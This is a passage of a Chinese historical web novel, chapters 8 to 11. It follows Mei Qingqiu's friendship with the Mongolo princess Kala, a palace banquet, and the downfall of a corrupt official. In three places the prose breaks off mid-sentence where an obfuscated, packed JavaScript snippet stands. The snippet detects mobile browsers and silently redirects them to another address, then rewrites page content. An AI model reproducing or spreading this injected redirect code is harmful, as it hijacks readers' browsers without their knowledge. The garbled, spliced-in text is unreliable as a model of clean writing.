李秉昱漫不经心应了一声，忽想起什么又站住脚，看似回答六皇子，目光却看着襄王：“太子妃人选，有一人极为合适。太尉之女，梅倾秋。” 听的两人都惊愕失色。因为宜国上下都知道，太尉梅穹自发妻病逝至今，未续弦。素无子嗣的人却凭空冒出了位女儿。但太子胸有成竹，连姓名都掌握在手上了，不像危言耸听。 李秉昶嘴上称喜，眼底却暗生忧扰。太尉德高望重，太子得此国丈是如虎添翼。 待太子去往东宫之路，六皇子走进李秉昶，问其可听说过梅府闺秀的事？ 李秉昶道：“未曾见过。” 8. 第 8 章 蒙洛古国朝贡期至时，将安州搅得翻天覆地的赤影仍逍遥法外。负责此案的刑部侍郎与知县本就茫无端绪，既被严晁刨根问底，又被皇帝究责问罪。二人出了宫墙，同病相怜地哀叹一声。 坡下鼓乐喧天，蒙洛古车队逐年进贡，屡屡声势浩大。 安州作为都城，地大路广，此刻也被围了个水泄不通。蒙洛古大队施施而行，便都眉飞色舞地与大宜子民抵拳相敬。 数百骑兵走在前头，而后是大批花样绚丽的丝绸布匹。此乃纳入了宜国的绸缎锦布再施以加工，或绒布镶边、或镌刻金箔、或针绣纹样。 再往后瞧，十余匹骏马戴丝质面罩、胸前绕花状饰物、马鞍表面经阳光一抚就若隐若现地呈出刻纹，高昂慢步，真如远赴战场的血性将士一般。其马无人驾驭，但有专人牵领，只因这是要献与皇帝的。 蒙洛古王子或许难辨，公主却是令人一瞥即见。马背上气充志骄的少女略施粉黛，头梳彩绳相缠的双马尾鞭，尖顶帽两侧垂挂翡翠，马儿走动翡翠就轻悠悠地晃荡。 无惟帽，不掩面，公主之颜就这般大剌剌地袒露在外，于大宜是百年也难相见的。更别说还手持缰绳，驭马为父开道。蒙洛古国王反倒坐在帘窗四开的马车上。 “这就是蒙洛古公主啊，当真貌美！” “听说她还习武，你看她坐在马背上那副身姿！” 人们窃窃私语，躲在乐鼓声后开着‘公主莫非同乃朝贡之物’的玩笑。 “若不切记祸从口出，恐命不时便去矣。” 勾肩搭背的几名壮汉止住笑声，恶狠狠地瞪了眼插话人，似脑他耳朵过于灵敏，不耐烦地摆手让他少掺和走远点。 男子扶低惟帽，手搭在腰间佩剑上，欠身钻入人潮中。剑穗呈朱色，扣式毫无章法，又形似吉祥结。 - 皇宫之大加重了烦闷。卡拉用蒙语向父抱怨。 蒙洛古儿女无不是在马背上长大的，即便风雪交加，就定要去草原上溜溜马。要非论个主次，或许该说是马在溜人。 于蓝天白云下蹦跶惯了的蒙洛古公主而言，黛瓦红墙是极具压迫力的。君臣一墙相隔，宫中侍婢相较宫外的安州女子，人数恐是三倍之多。声量却不及闹巷的三分之一。 人又多又安静，好似都被毒哑了！卡拉带着这种想法去与宫女说话，可她们并没有哑，只是声如细丝。她只觉无趣，策马扬鞭跃出这围墙。 有几名侍卫奉命暗中保护公主，却还是被马底生风的烈马甩掉了。 人马皆不识路，一个劲地乱窜乱跑，直至稍微偏离了热闹地，卡拉到了一个小山坡。坡下是杂草丛生的空地。她拉紧缰绳，正欲调转马头，隐隐约约看到有身影一闪而过。 卡拉起了兴致，定睛瞧日光下闪耀的红裙与剑光。荒草肆意生长便四散生根，那人却仿佛对此怀有怒气，挥剑如风，胡斩不过膝的簇簇杂草。 身轻剑厉，剑法迅猛多变，一招一式都奔着取人性命去的。犹似荒草不止为荒草，趁看客不注意变成了人靶子。卡拉目不暇给，光看清剑法就是个难题了，更别提研究破解之术。 剑刃墙头草，残垣断壁冒出尖尖，卡拉才看出这原先是座宅院。 红裙覆长剑，宛似未洗净的血。 红衣女子停止舞剑，抬眼与她对上视线。 卡拉双脚松开马镫，踩着马背翻身下坡，稳稳站在梅倾秋面前。她手还抓着鞭子，指着她：“你的剑法好厉害！与我过上两招吧！” 蒙洛古人进了安州是大街小巷传遍的事，结合眼前人装扮不难猜测其身份，梅倾秋不予搭理转身走开。卡拉腾空而起，翻了个跟斗又到梅倾秋身前。 “你怎这般傲气！我苦无对手，到了你们大宜快要闷死了。” “与我何干。” 梅倾秋方一侧身，长鞭扑哧甩到了她面前。她迅速后仰下腰躲过这一鞭，反手抓住。卡拉使劲抽不出。 “你究竟要做什么？”梅倾秋问。 “找你打架啊！你难道不知我是蒙洛古公主？就是你们皇帝也要予我父汗薄面的！” 身处卫府故地，尚未从回忆脱身的梅倾秋猛地一激灵，好似刺猬被人拔掉一根刺，又用这根刺来开它的肚皮。 梅倾秋探出手臂去缠长鞭，硬生生将卡拉拖拽到两步之隔。一字一句道：“我不归皇帝管。” 卡拉先是愣了一会，挑眉追问：“当真？” 见梅倾秋面上怒意未去，卡拉嘴角上扬笑了起来，也不与她抢长鞭了。这在战场上可相当于主动缴械。梅倾秋还没来得及揣度她的行为，她就蹦跶到她面前，笑道再好不过！ “你是难得敢反抗皇威的宜国女子了！我欣赏你！我叫卡拉，今年十五，你呢？” 面对一张如此热忱的笑脸是难以维持愤怒的，梅倾秋递还她的武器：“我叫梅倾秋，今年十六。” “秋天的秋吗？好名字！用我们蒙语说秋天是娜木拉，我便叫你娜木拉吧。” 梅倾秋不过睹物思人，将荒草当作逼死她父亲的阿晏和皇帝，才耍了卫霆所创剑法发泄在这被人遗忘的地方。没成想闯入这样的不速之客。竟开始给她改名了。 “我认为……” “现在可以跟我打一架了吧！”卡拉打断她，“我们都互通姓名了，是朋友了。” “朋友为什么还要打架？”梅倾秋近乎妥协地问。 “因为这代表了赞赏！我认可你，渴望也得到你的认可，场上见分晓这是尊重。我们草原皆是如此，你们不是吗？” “你说的是切磋。” “切磋？你们的说法是点到为止？行！” 卡拉右手握紧绳柄，左手往后拉紧长鞭。梅倾秋左脚后迈，脚尖左旋九十度站稳。长鞭细而锋利，配以技巧足当利剑，轻一甩动割断大片杂草。 长鞭有一瞬在空中停滞，而后直奔梅倾秋来。剑柄深扎入土，她借力后翻躲过这一鞭，又拔起剑柄扔了出去，剑柄被鞭打落直立于草丛中。 梅倾秋不再只防不攻，她足下蹬起，飞到空中去抓长鞭，如攀高枝一般，够着了就踩着它愈上一层。 双足以风为垫，似踏在无形木桩上，扑腾一跃单脚踩在剑柄上。 卡拉双眼流露出不解与钦佩的惊叹。她驱长鞭自梅倾秋后方回甩！即将碰着马面裙的刹那，梅倾秋身体向上旋转，待鞭远去，空翻探手拔出剑柄。 往前搁在了卡拉肩膀上。 “失敬了，公主。” 卡拉意犹未尽，垂眸才发现梅倾秋的剑甚至没有出鞘，不费吹灰之力就将她打败了。 “娜木拉，你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147827|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英勇的阿图玛！” 梅倾秋反手持剑柄搭在身后，问其话何意？卡拉解释阿图玛在他们蒙洛古是用来形容女子的，意为芳草。 “你是我来大宜发掘的宝藏！”卡拉将长鞭卡在腰间，上前几步：“你的轻功剑法都与谁学的？我破不开你的剑法。” “与我父亲学的。” “那可是武官？皇帝设的晚宴你可会到？” 梅倾秋直言家父确为朝廷命官，但她不得同往皇宫。她道：“于大宜，家眷养于后院，忌抛头露面。二是皇帝设宴，宴的是要臣，而非其家。” “抛头露面？”卡拉不接受这等说法，“你们大宜尽是男尊，我问你，若今日兵临城下，城中无男将应对，锐不可挡的你要不要上战场去？” 梅倾秋扬唇一笑，道：“便是花木兰，挽枪上马也非得男儿装不是？” 她飞身跃起，稳稳当当地坐上小白马，与卡拉道了句再会便拖拽缰绳驾马离去。卡拉连忙吹口哨叫来马，翻身上马追梅倾秋。 这条命可为家亡，是与族共荣辱。不为国存，是昏君剜民心。 - 被卡拉甩掉的两名侍卫是在宫门前找到她的。二人成了惊弓之鸟，见了公主连忙下马行礼并引咎自责，说是自己害得公主单鞭匹马地找回宫的路。 久未闻回音，抬首发现公主只忙着‘纠缠’一名女子。 卡拉左腿踢开马镫绕到右边下马，手上拽紧梅倾秋小白马的缰绳，也不顾其尚在马背上，就指示两名侍卫将两匹马拉去马厩。二人不敢不从，稀里糊涂地加入了劝梅倾秋下马的行列中。 梅倾秋不得已下了马，但坚持不过宫门。哪怕卡拉执意说是以她友人的身份。再者，宫门前的禁军也不会放行。 “今日设宴是为我蒙洛古此行接风洗尘，她作为我的客人，怎不能进？”卡拉嚷道，“那你去请示我阿布（父亲），让他来领我进门！” “卡拉公主，我们也是奉……” 半个时辰前卡拉驾马追上梅倾秋，道自己不识回宫之路，拜托梅倾秋送她一程。心软的梅倾秋同意了，却没料到卡拉临时变卦，非说在蒙洛古是不能放任友人空手离去的。 现下梅倾秋的手就被卡拉牢牢擒住，她思忖脱身之法，侧目瞥见一抹熟悉身影。慌不择路地埋首于卡拉肩上。 身骑黑马的襄王穿了身黑蓝相间的圆领袍，底衫为蓝，外袍为黑，衣领与窄袖卷边绣有图腾。烈马亦经他训为温驹，四蹄缓缓踱行，好不优雅。 李秉昶远远眺望，先是认出宫门前与守卫攀谈的人乃蒙洛古公主，再是瞧见偎依其后的红衣女子。 他轻拉缰绳，双腿夹紧马身上前。争论不休的人停下来，同时回首朝他看来。 “襄王。”守卫朝他垂首行礼。 卡拉转过身面向他，终于找到个有话语权的人。她坚持她的想法：“襄王，还请你来评评理。” 李秉昶下马走近，向卡拉微微颔首，问发生了何事？ “我初到大宜，好不容易识得一知己，想邀她齐赴晚宴，当真此自由也不得有？” 卡拉说着拉起身边人的手，红衣女子垂袖抬眸，面蒙红纱，鼻梁往下朦胧不可辨。但那双盈盈善睐的眼睛已是将她出卖了。 他一眼便认出那双眼中的欲说还休。 9. 第 9 章 便是他寻了许久的秋生。 与秋生一别已两月有余，再见竟又褪去男装，成了绰约多姿的女子。其本相并非艳美到倾国倾城的地步，但也莺惭燕妒。 满头青丝并未全数盘起，也未多加头饰，仅以木钗作扣，一缕秀发绕耳还肩，徐徐垂下。面上红纱堪堪触腰，薄红染唇，欲显其魅。 见此状，李秉昶便知她不想让女扮男装的游戏作罢。只是没料到不过两月她又得了新名字。 “娜木拉。”卡拉得意道，“她虽是大宜女子，但名字里有秋字，我便以蒙语中的秋来唤她。” 梅倾秋不敢出声，任着卡拉畅所欲言，她不时抬眼观察李秉昶的表情，又在四目相撞一刻慌忙闪躲开。生怕被他认出自己此前女扮男装，以秋生之名诓骗他。 所幸李秉昶没在她的本名上追究，而是高谈阔论起大宜律法与蒙洛古的不同。梅倾秋暗自松了口气，心想他是将两面之缘的秋生忘了。 “但既是公主难得一识的知己，作为客人同赴自然可以。只是还需不动声色，不得与公主并座。” 梅倾秋很想开口自己并不想赴这晚宴，奈何嘴没卡拉快。 “好，也行！”卡拉爽快道。 进了皇宫卡拉就随侍女去更换服装，梅倾秋便由李秉昶安排，她默不作声跟着他走，暗中将宫里禁军的分布和走道记了下来。 “你长年待在安州吗？”李秉昶冷不丁道。 她收回打量的目光，回答极少远行。 李秉昶若有所思地嗯了一声，似乎那并不只是简单的问候，也非他想听到的答案。 月华慷慨洒落光辉，迎着红烛描刻若隐若现的瑰丽壁画，栩栩如生的石狮屹立两侧，如忠勇护法正捍卫宫墙内的华美。 婢女宦官再经划分，穿戴之物尽不相同，只都垂首提灯，碎步而行。见了王爷朝臣要退至一侧，行礼至其经过。最晚入宫的一批宦官亦有一年之久，早已深谙宫中生存要则，即眼观八方，但要装聋作哑。 于旁人眼中似榆木脑袋，实则个个耳尖眼明，只稍一眼便注意到襄王身后的陌生女子。也立马得出非王室贵族后人的结论。 其一，衣裳考究但尚显简朴，非华贵丝绸作衫，而选以斑斓花样绣摆的马面裙，与窄袖上衣相搭只能说放在骑马赛上更适宜。其二，虽红纱蒙面，仍可透过薄纱瞧见未施粉黛之白皙，且未盘发，未施以珠钗头环。 故而待襄王一行经过，起身往反方向走的宦官们议论纷纷。 迈过拱门门槛，又是垂直延伸的幽静长廊。黛瓦提住轻轻晃动的红灯笼，微光将人影嵌入地面。李秉昶忽而停下，梅倾秋疑惑抬头，随从止于几步之外。 “你无需拘谨，作为卡拉公主的客人，你的穿扮很得体。” 梅倾秋略一恍惚，反应过来他是听见了远去宦官的低声调侃，以为她也将那话入了心。其中有几声说她是要“上场杂耍的”。 她微笑颔首，说自己未曾在意。 “那便好。” 宴席设在东和殿，朝臣们爬梯入殿，少有的立于半道压声相谈。梅倾秋躲在李秉昶身后悄悄展望，生怕遇见太子李秉昱和梅穹。 入殿之前梅倾秋被托付给另一个人，当朝公主李堇婳。他以娜木拉之名介绍她，嘱咐她不能乱跑。 “我会注意着你的。”他加上一句。似威胁又似关怀。 “别吓唬她！”李堇婳嗔怪道，回过头来打量她： “跟着我进去就好。” “嗯。”梅倾秋乖巧道。 宴座环绕波光粼粼的水池，左侧为蒙洛古王及其女儿、太子、皇子、封爵的王爷们，每排以屏风相隔，公主位于后三排；右侧为此番重臣，前排乃宰相、太尉、六部之首，后排依品阶而分。皇帝独居于顶。 公主一侧多加了张桌子，便是梅倾秋所坐之位。从这个角度往上看皇位，需要穿透两张屏风、再攀越数十个台阶。 “皇上驾到——”一道尖利嗓音刺穿东和殿，梅倾秋双手紧握，随旁人起身行礼，悄悄抬眼看身穿黄袍之人。奏乐声如同扯着梅倾秋的心作弦，如歌如诉，靡靡刺耳。直至皇帝落座方停。 她注视着他，几欲飞身上前，拔出袖口内的短刀刺入他胸膛。他每迈一次台阶，此欲望就膨胀一次。她险些如此，未做只因她是卡拉带入宫的，无论成功与否，她的刺杀都会碎裂两国长久以来的和睦。 皇帝轻抬手臂，示意众卿落座。举起酒杯先敬蒙洛古王。 “你可会喝酒？”李堇婳低声朝她搭话。 “浅酌亦可。” 闻言李堇婳便举杯要与她相碰，右手食指抵于唇前，道：“屏风当前，无人可见。” 梅倾秋双手举杯凑上前，杯酒过喉她面不改色，公主倒是柳眉紧蹙，眼皮紧闭，发出难耐的“嘶——” 梅倾秋轻笑：“公主可是不曾饮酒？” “只能悄悄喝。” 李堇婳年芳十四，柔媚似玉，秀色绝代，一颦一笑皆显稚气春华。她声腔也如露珠垂过花蕊那般娇滴滴的，分外悦耳。 皇帝与蒙洛古王交谈之际，她问了梅倾秋许多问题。少女建立友情总是纯粹简单，不消片刻便犹如旧友。 琵琶声声，玉足点池。舞女们怀抱琵琶，身穿绣佛纹图案的襦裙，披纱侧滑肩头，赤脚踏入浅池。舞女高举琵琶，单脚拨搅池面，水花溅落琵琶弦上，清脆之响绵延不绝。 或是为舞曲着迷，或是无他事可商，众人皆将目光落在芙蓉戏水之上。唯有一人坐于前排，却不时侧目回望。 胜在屏风遮掩了他的流连忘返，败在屏风处处彰显二人之差。 再次见到秋生，李秉昶是难掩欢愉的，但过了那阵他又忆起她无故消失，不禁心中有气。可这气也没法撒，对方扭头一变又成了另副模样，打定主意不与他叙旧。他只能憋着这股气与她周旋，久而久之这气就自个消了。 唯有不经意望去，与秋生相同，又愈加神秘的媚眼提醒着有什么不同。 宴席结束已是亥时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147828|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，卡拉有了私逃先例，看守她的人更多了。无奈她只能拜托李秉昶送梅倾秋回去。 朝臣纷拥未散，梅倾秋怕被家父逮见，一路畏手畏脚地躲在李秉昶身后。见她如此不按套路出牌，李秉昶竟当真以为她是见了当朝高官而拘谨，明明他早就知晓她浑身是胆。 “襄王。” 呼唤而至时，太子李秉昱已经大步走到李秉昶身侧，梅倾秋忙压低头，移步到李秉昶身后。 “太子殿下。” “听闻卡拉公主迷了路是你接回来的？” 梅倾秋暗想：谣言就是这么传开的。 李秉昶如实相告，只是于宫门口相遇。太子露出半信半疑的眼神，笑道还以为他是爱慕卡拉，如若为真，大可请皇上赐婚。 梅倾秋自始至终低垂着脸，也已从语气听出端倪。他是在试探李秉昶对卡拉的态度。如李秉昶迎娶卡拉，那就获得了整个蒙洛古的兵力，势必对他不利。 “卡拉公主向往自由，臣弟小小宅邸恐难成为热情小鸟的栖息地。” “哈哈哈，任多么奔放的小鸟，都要回笼进食的！” 太子拍拍李秉昶的手臂，称他：“未入情场尚青涩啊！”便拂袖远去。 这就是我必须要嫁的人吗？ “呸——！” 她收敛表情，面对李秉昶讶异的目光道：“我喉咙痒。” 李秉昶没憋住笑声，但也无多追问，只伸手让她走前面。 宫门前后人多眼杂，为了将梅倾秋神不知鬼不觉地送出宫，李秉昶让梅倾秋坐上自己的马车，亲自送她回家。所乘正是初遇那辆马车。 窗外人欢马叫，有一瞬梅倾秋听到了自己父亲的声音，微风掀起窗幔一角，她当即认出是家父白天所穿长袍，整个人俯身右移。李秉昶有所觉察，伸手抓紧窗幔。他将她的慌乱看在眼里，猜测外面有她认识的人。 或许她是哪家闺秀。他想。 马车远离皇宫，却未远离喧嚣，安州夜市才刚开始。百灯照长巷，人烟衬景春。 湖面化冰船便荡起了浆，渡上秀气书生风流公子游湖，每当这时茶楼酒楼就推开小窗，或以琴瑟相邀、或以美人作计，无不意外总会钓上几条肥鱼。 梅倾秋掀起一半窗幔，眼观四方，提唇浅笑。 李秉昶与她相对而坐，眼睛挨过她的侧脸向悬月，又转瞬移了回来。现下她的注意力全在窗外，连风捉弄面纱也不知。 明眸并未藏月，怎就比肩玉镜？红纱欲拒还迎，竟如朝他抛来之饵？ 愿者上钩罢了。 他探手接住红纱，与后知后觉的梅倾秋巧笑相视。 “娜木拉姑娘甚是眼熟。”他道。亏他还能记起卡拉所改之名，毕竟他深知秋生也非她本名。 梅倾秋仿佛成了咿呀学语的顽童，张口结舌，半晌才如梦初醒般说：“民女曾因一昏迷老者挡下王爷的马车。” 李秉昶压下想拆穿她的心思，配合她作回忆状，道原来如此。递还红色面纱。 10. 第 10 章 “王爷可否应许我一个请求？” 梅倾秋忽起一念，想托他给卡拉带去下次相见的邀约。 “那我又能从中得到什么？” 梅倾秋略一迟疑，她确实没料到李秉昶会提出要回报，毕竟作为皇室子弟，他什么都不缺。 “王爷已是富贵荣华，只怕我提银予物反倒冒犯了你，但既是我出口相托，日后只要王爷需要，我会尽力做到。” “此言当真？” 李秉昶用腔漫不经心，眉宇间又隐约流露出孩子气般的较真。得了回答，合扇频频轻敲掌心，犹似好赌之徒久违做了回庄主，喜不自胜。 “那便欠在簿上！”他道。 梅倾秋与卡拉再见是在三日后。送她到药铺找梅倾秋的是李秉昶的随从傅雁，连同她遗落在皇宫马厩的小白马也带来了。 蒙洛古使团明日便要返程，梅倾秋欲尽东道主之谊，让卡拉体验大宜女子的装束。碍于量制一套衣裳少则三月，多至三年，非一时半刻能取得。 “也非全无方法。”她道。 梅倾秋邀卡拉到梅府中去，奉上她尚置箱底的新衣裳。 闻言卡拉喜形于色，连连道好。扬鞭拉绳，让梅倾秋快快领路。梅倾秋含笑上马，调转马头恰好遇上两名巡街使，正在挨户巡查。她喊卡拉跟上，与巡街使擦肩而过。 巡街使每逢一载之春就会‘着重’巡视街道。多是两人一组，乘马配剑。马蹄声中总携有难以忽视的清脆铜响，仔细一瞧，鞍袋皆被撑得鼓鼓囊囊。 所经之处必会有一番唇枪舌剑，但结局尽是让巡街使揣了满怀的好处，客客气气地请出门。百姓只能背地里怨声载道。 “吁——” 长脸男驾马停在一间药铺门前，同行的麻脸男从怀中掏出小账本，翻开几页，道这是没缴过香油钱的新店。 二人手搭腰间剑柄，风风火火地迈进店。迎上前的是正在捣鼓算盘的宁枝。 “二位爷这是？” “你是掌柜？” “正是。” 长脸男无多言语，开门见山亮出腰牌表明自己的身份，而后递给宁枝一封信笺，封口处有翊府中郎将的印戳。 宁枝拆开信，里头有两张宣纸。一纸印刷佛像，另一纸书写供奉要领及义务。即用一百贯铜钱买下这尊纸佛，每逢初春再用三十贯领香油。 宁枝嗤笑一声，道：“三十贯？一年到头的买米钱可至多三十文！” 说罢将纸佛提到嘴边，轻轻一吹纸佛就跌撞在长脸男的胸膛上，他伸手捞没捞住，纸佛落地，被宁枝脚尖踩住。 长脸男面色霎时泛青，他怒喝一声拔出长剑，碎嘴嘀咕着“放肆、竟敢与我们作对、抗令者……”之类的要挟。 宁枝赶在剑出鞘之前抬脚踢回，同时欠身避开麻脸男的拳头，肘击向长脸男侧脖。长脸男踉跄之际又被宁枝抓住双肩借力，跃身踢飞麻脸男。 宁枝再当胸一脚将长脸男踢出门。 “滚回去拜拜你那纸佛！” 里间竺月听到动静忙跑出来，所见之景就是被打得鼻青脸肿的巡使、怒不可遏的宁枝、纸佛被撕成碎片扬出门。 二人忙不迭拾剑逃命。人在马背上了才敢放狠话：“你给我等着！” “他们搬了救兵定还会来！”竺月忧心道。她的意思是关门避险。 宁枝悠哉落座，气定神闲地抓起算盘，好似不曾动怒或动武，只是拍死了两只恼人的苍蝇。笑道：“无妨，我就在这等着。” - 两街之外。药铺背后的真正掌柜梅倾秋，正忙着陪卡拉游于肆。（逛街） 卡拉已换下蒙洛古服，换以金丝绘绣菊样的鹅黄襦裙，肩披朱色薄纱，头梳盘桓髻，珠翠垂鬓，玉钗后扣乌发。若忽视她与生俱来的深邃眼窝及淡棕眼珠，乍眼相看便会认为其乃大家闺秀。 两匹马缓缓踱步于街道，时不时停在卖古玩或鸟雀的小摊前。卡拉想要，梅倾秋就付钱，不一会儿马鞍袋上就挂满了牛皮纸包裹的大小物品。 卡拉手举糖葫芦，余光瞥见摆卖扇子的小摊，方一拖拽缰绳，急促马蹄由远而近兴冲冲压过。梅倾秋二人的马受了惊，嘶鸣着身体弯曲，无头苍蝇般打转。 梅倾秋拉紧缰绳控制马儿，身子压低抚其颈部，马儿惊叫声逐渐下降，她取出干草喂马。 “如此蛮横！那是何人？” 卡拉气急，目光随远去的男子背影。见其就要拐道，她忙策马追了上去。 “卡拉！” 梅倾秋紧跟其后。 那人身份她是知晓的。翊府中郎将，严晁的侄子，严池。同乃两个月前在风正堂刁难竺月的人。 马蹄作响贯穿街道，闻声而动的宁枝早早等在了门前，两名手下败将——长脸男和麻脸男——一副小人得志的丑陋嘴脸，边叫嚣边又躲在严池后面。 严池今日穿了官服，道貌岸然地坐在马背上俯视宁枝，道：“就是你，公然忤逆当朝奉佛之准则？” “当朝？”宁枝仰头大笑，偏头向一旁围观的老妇：“我记得皇上并没有强制百姓崇奉道家或佛教吧？何况你这般从中暗盗的贪官！” 严池心虚四望，但立刻寻来说辞：“奉佛像的传统延续至今已有两载，你们经商顺当皆得利于此！否则一家家的早就关门大吉了！” 宁枝反驳：“乡亲父老们会为这纸佛掏钱，还不是遭你们威逼利诱！大家万不得已才用铜钱换取安宁，可你们恬不知耻，更是要求逢春再缴五百文，朝廷收取田税都用不到这么多！忤逆当朝律法者究竟是谁！” 百姓们咬牙切齿，经宁枝道破心声挑起了波澜，顿时众说纷纭，借机冒头讨伐他们尽是污吏。 奉命执行的两名巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147829|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街使作贼心虚，有半晌良心发现似的低垂着脸。但见平日压榨的平民竟朝自己亮拳挑衅，瞬间又气急败坏地跳下马，亮出剑光逼退其人！ 殊不知人们被压迫久了反抗起来更有劲，个别血性男儿愈加逆反，将两名巡街使围困在中间。夺去他们的剑开始肉搏。 见状严池赫然而怒，拔剑砍断庐帐的木桩，众人慌张逃窜余下一名抬脸接帐布的女童。 距离女童最近的竺月猛跑上前将其抱走，严池后知后觉地见她眼熟。 不等他再有动作，一声急喝覆过嘈杂声。两抹亮影自空中倒翻落地，稳稳站于严池马前。 “你给我下来！少坐在上面趾高气昂地欺负人！”卡拉喊道。 若严池聪明些，认出卡拉乃蒙洛古公主，略一开口就能在皇帝面前告他一状，他当务之急就是滚下马叩首承认过错。可惜他并未识出端倪，连梅倾秋就是与他争吵过的白面书生也没认出来。 他发出哼哼的笑声，长剑直指卡拉瓷白的脸：“小娘子，你手里的鞭子甚是可爱，但光天白日之下并不是使用的好时机噢。待夜深人静，我与你相会，再……” 话音未落，可爱长鞭甩过他扬起的嘴角，鲜血破开伤口滑下下颌。那张□□之嘴只能发出尖利的痛叫声。待他反应过来，长鞭已然缠紧他的手腕。 严池使劲握住长鞭与她比拼蛮力，奈何马已受惊，蹬起前腿后仰。严池顾此失彼，就着卡拉的拖拽跌下马。 卡拉足下生风跃过严池滚落的身体，坐上巡街使的马。 “驾——” 她左手拉缰绳，右手拽长鞭，马儿冲出人群往长巷尽头跑。严池单手被缠，被拖拽着随马儿走势蹭撞地面，脸部贴地、衣裳破裂。两名巡街使跟在后面跑，百姓们大快人心地咒骂严池。 卡拉停下之际长鞭恰好脱手，距离药铺约有两百米路。她回头直冲严池，势不可挡，距离逐渐缩减，马蹄就快践踏他抖动的手。 “卡拉！” 卡拉拉紧缰绳，马蹄偏开严池的身体。巡街使姗姗而至搀扶起他。 “娜木拉，你怎不让我给他个教训！他这般压迫你们！”卡拉下马朝梅倾秋说。 “你已经给了他教训，但真正的惩治要交给圣上。” 梅倾秋回望一眼顷刻又变得站立难安的平民。 “卡拉，你可知这么一个怯懦无能的小官，为何能贪污商户两载之久？” “为何？” “因为官官相护。由此赃获利的非他一人，百姓上书也非直达皇帝。” 此言明了。卡拉义愤填膺，迈前一步向愁容满面的百姓们保证：“你们别怕！我可以面见皇帝，我帮你们争个公道！” 人们面面相觑，哪怕对此怀有疑虑，仍感激涕零地叩谢卡拉。 “非他一人所作，背后仍有操手。”梅倾秋提醒道。 11. 第 11 章 黄昏时分，红晕绽开铺染天色，洒回地面又红彤彤一片。急促碎步攀梯越廊，站定之际险些与另一人相撞。 “太子殿下。”严晁弯腰行礼。 “父皇也传召了你？究竟所为何事？” 同行人一问三不知，李秉昱怒其不争，索性决心见招拆招。 “太子殿下、大宗伯，皇上让你们一同觐见。” 二人忐忑不安，进殿所见便是身居高位，满脸肃容的皇帝、站在角落的蒙洛古王、卡拉公主。正殿中间跪趴着一名官吏。二人上前行礼，侧目才发现跪着的是严池。 严晁扑腾一下手脚并用地趴在地上，不知自己侄子所犯何错，先把管教不当的罪名认了。 - 襄王府后院。李秉昶立足亭中，以水墨描绘青竹，许骄松在侧来回踱步。 “我们御史台负责纠察严池的贪污案，你猜怎么着？” 许骄松自问自答：“严池任翊府中郎将十五个月，足足贪污了五万贯。受杖一百下，流放云贵，家属同罪。那严晁不是他叔父吗？这老贼硬是当场割席，坚称自己毫不知情未参与贪污。同样连坐！罚三月俸禄，降二品，去礼部尚书之职，只任上州长史。嘿，较我还略低半阶！还有……” 许骄松站定拿走砚台。 “你有没有在听我说？” “我在听，接下来你是不是要说太子的处罚了。” 翊府中郎将的官职归左右卫管辖，而左右卫又归属太子。一丘之貉，明眼人都知道脱不了干系。哪怕太子并非同谋，他国国主当前，不得不严惩。 许骄松将砚台放回，拉过圆凳坐了下来。 “太子东官没有查出贪污赃款，但监管不当的罪名还是落在他身上。罚两月俸禄，禁足一月！” “与我猜想的大差不差。” 李秉昶放回画笔，提起宣纸两角至半空，透过轻薄宣纸隐隐约约可窥见实景，青竹与画上墨竹近乎吻合。他满意却也随意地将竹画搁在桌上。这类画作数不胜数。 他提起茶壶取两个倒扣的瓷杯，若有所思道：“检举者是卡拉公主？” “正是！所以圣上才大发雷霆。听闻是卡拉公主恰好撞见严池逼商户缴‘奉税’，甚至他还调戏了公主。蒙洛古儿女性情豪迈，哪忍得下这气。圣上为了大宜脸面也得重罚不是。” 闲言说罢，许骄松方有心思观赏李秉昶的画。他后知后觉瞧出他脸上微显忧思，问其原因，李秉昶只道：“此事过于巧合。” 院门忽而推开，站岗的傅雁偏开身，让进另一名玉树临风的少年。 “二哥！”其唤道。圆领青衫与竹色相近，衬得他本就秀气的五官愈加俊俏。 “六皇子。”许骄松起身，朝他握拳行礼。 “骄松哥！你也在这。” 六皇子李秉暻大步迈进亭，朝两位哥哥略一行礼，便大剌剌地落座李秉昶对面。 “正好，你也来为我评评理。” 李秉昶看了眼许骄松，轻抬折扇让这位同父异母的弟弟说下去。他与这位皇弟相差三岁，算不得多亲近，只是还没有政权利益上的冲突。 六皇子先咕噜咕噜喝了两大杯茶，双肘抵上桌沿，几近哀怨地道：“父皇让我与卡拉联姻，我可如何躲过？” 说者急得眉飞色舞，听者却也不动声色，仿佛对此早有预料。 